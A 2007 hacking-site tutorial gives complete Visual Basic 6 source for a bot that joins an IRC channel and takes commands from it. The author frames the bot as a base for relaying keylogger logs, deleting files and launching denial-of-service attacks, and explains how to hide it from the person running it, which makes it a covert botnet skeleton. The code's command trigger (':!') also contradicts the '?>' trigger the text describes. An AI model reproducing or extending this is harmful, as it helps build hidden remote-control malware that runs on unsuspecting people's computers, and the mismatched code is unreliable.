DO NOT TRY THIS AT HOME : Rotteneggs.com text files and message bases are for INFORMATIONAL PURPOSES ONLY. DO NOT undertake any project based upon any information obtained from this or any other web site.We are not responsible for, nor do we assume any liability for, damages resulting from the use of any information on this site.
(93 votes) Published: Mar 17, 2007 7:56 p.m. In 5 Favorites Lists Viewed 530 times
I am not responsible for how you use this information this is for educational purpose only. This bot is programed in visual basic, you can write much more powerful IRC bots with C++ or another language but this is a good starting point for beginners so I might come out with other eggs explaining how to do this in C++. For you that don’t know what IRC is it pretty much is like aim. IRC stands for Internet Relay Cha) so i will be showing you how to make an IRC bot with this you can use irc to send commands to your bot. A few examples would be to send a log from a keylogger, delete a certain file, or DoS(Denial of Service) attack someone. I will give the all the code I give in the tutorial put together at the end. O.K. lets get started.
First thing you want to do is open up Visual Basic and open a standard exe. Now hit control "T" and add a winsock control and name it WskIRC. Now add a text box name it txtLog set the scroll bar to vertical, set locked to true and set multi-line to true. Your form should look something like this.
Now once you have that set up, it is time to put the code. Now open up the cod and add
Quote:
Public Function addLog(Message As String)
txtLog.Text = txtLog & "[" & Time & "]: " & Message & vbCrLf
End Function
This makes it so we can put addlog "Received message" and add that to the log that we have for debugging
purposes. Now lets connect to the irc server I chose to use irc.vel.net.
Quote:
Private Sub Form_Load()
wskIRC.RemoteHost = "irc.vel.net"
wskIRC.RemotePort = 6667
addLog "Connecting to " & wskIRC.RemoteHost & _
" port " & wskIRC.RemotePort & "..."
wskIRC.Connect
End Sub
Now when we are connected to the server we will make a name for our bot using this code.
Quote:
Private Sub wskIRC_Connect()
addLog "Connected!"
Dim Name As String
Dim Random As Integer
Dim Channel as String
Randomize
Random = Rnd * 1000
Name = "[BOT]-" & Random ’ Example: [BOT]-723
addLog "Username: " & Name
wskIRC.SendData "NICK " & Name & vbCrLf
wskIRC.SendData "USER bot bot bot bot" & vbCrLf
Channel = "#bot"
wskIRC.senddata "JOIN " & Channel & vBCrLf
End Sub
This is easy it will give your bot a name [bot]-then a random number. Then it tells what room it wants to join. Now lets add code so we can receive the messages from the room.
Quote:
Private Sub wskIRC_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
wskIRC.GetData Data
addLog Data
End Sub
Now if you open up mIRC or any choice of your IRC client and type something in the look at the log of the IRC bot you will see the message you just sent. Put after a while the bot will sign off this is because it is not respond to the ping the server sent so to solve this copy this code into the data arrival sub.
Quote:
If InStr(Data, "PING") Then
wskIRC.SendData Replace(Data, "PING", "PONG") & vbCrLf
addLog Replace(Data, "PING", "PONG")
End If
This is what it looks like all together.
Quote:
Private Sub wskIRC_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
wskIRC.GetData Data
addLog Data
If InStr(Data, "PING") Then
wskIRC.SendData Replace(Data, "PING", "PONG") & vbCrLf
addLog Replace(Data, "PING", "PONG")
End If
End Sub
When you test the bot you should get something that looks like this.
Quote:
In the room it should look like this:
?>command
----
But the bot sees:
[1:08:47 PM]: :arbysman!fdsa@***** PRIVMSG #bot :?>command
Now if the bot sees ?> we can use the split command to get whats after it. Here is the code(this would be put in DataArrival)
Quote:
If InStr(Data, ":!") Then
ircCommand = Split(Data, ":!")(1)
addLog "Command: " & ircCommand
End If
Now test it and it should change ?>command into Command:command. Now that we have that working you
are going to want to add commands to do this put this code towards the bottom of DataArrival
Quote:
If InStr(ircCommand, "test") Then
MsgBox "it works"
End If
Here is all the code put together.
Quote:
Public Function addLog(Message As String)
txtLog.Text = txtLog & "[" & Time & "]: " & Message & vbCrLf
End Function
Private Sub Form_Load()
wskIRC.RemoteHost = "irc.vel.net"
wskIRC.RemotePort = 6667
addLog "Connecting to " & wskIRC.RemoteHost & _
" port " & wskIRC.RemotePort & "..."
wskIRC.Connect
End Sub
Private Sub wskIRC_Connect()
addLog "Connected!"
Dim Name As String
Dim Random As Integer
Dim Channel As String
Randomize
Random = Rnd * 1000
Name = "[BOT]-" & Random
addLog "Username: " & Name
wskIRC.SendData "NICK " & Name & vbCrLf
wskIRC.SendData "USER bot bot bot bot" & vbCrLf
Channel = "#bot"
wskIRC.SendData "JOIN " & Channel & vbCrLf
End Sub
Private Sub wskIRC_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
wskIRC.GetData Data
addLog Data
Dim ircCommand As String
If InStr(Data, ":!") Then
ircCommand = Split(Data, ":!")(1)
addLog "Command: " & ircCommand
End If
If InStr(Data, "PING") Then
wskIRC.SendData Replace(Data, "PING", "PONG") & vbCrLf
addLog Replace(Data, "PING", "PONG")
End If
If InStr(ircCommand, "test") Then
MsgBox "it works"
End If
End Sub
If you want to hide this from the person running it just put "me.hide" with out quotes in Form_Load. For those of you that don’t have an IRC client you can download mIRC here
Mar 17, 2007 9:20 pm - how would you know it is a waste if you didn’t read it techno? If you are having trouble compiling it here is a download like of it that can compile http://rapidshare.com/fil s/21569753/IRCBOT.zip.html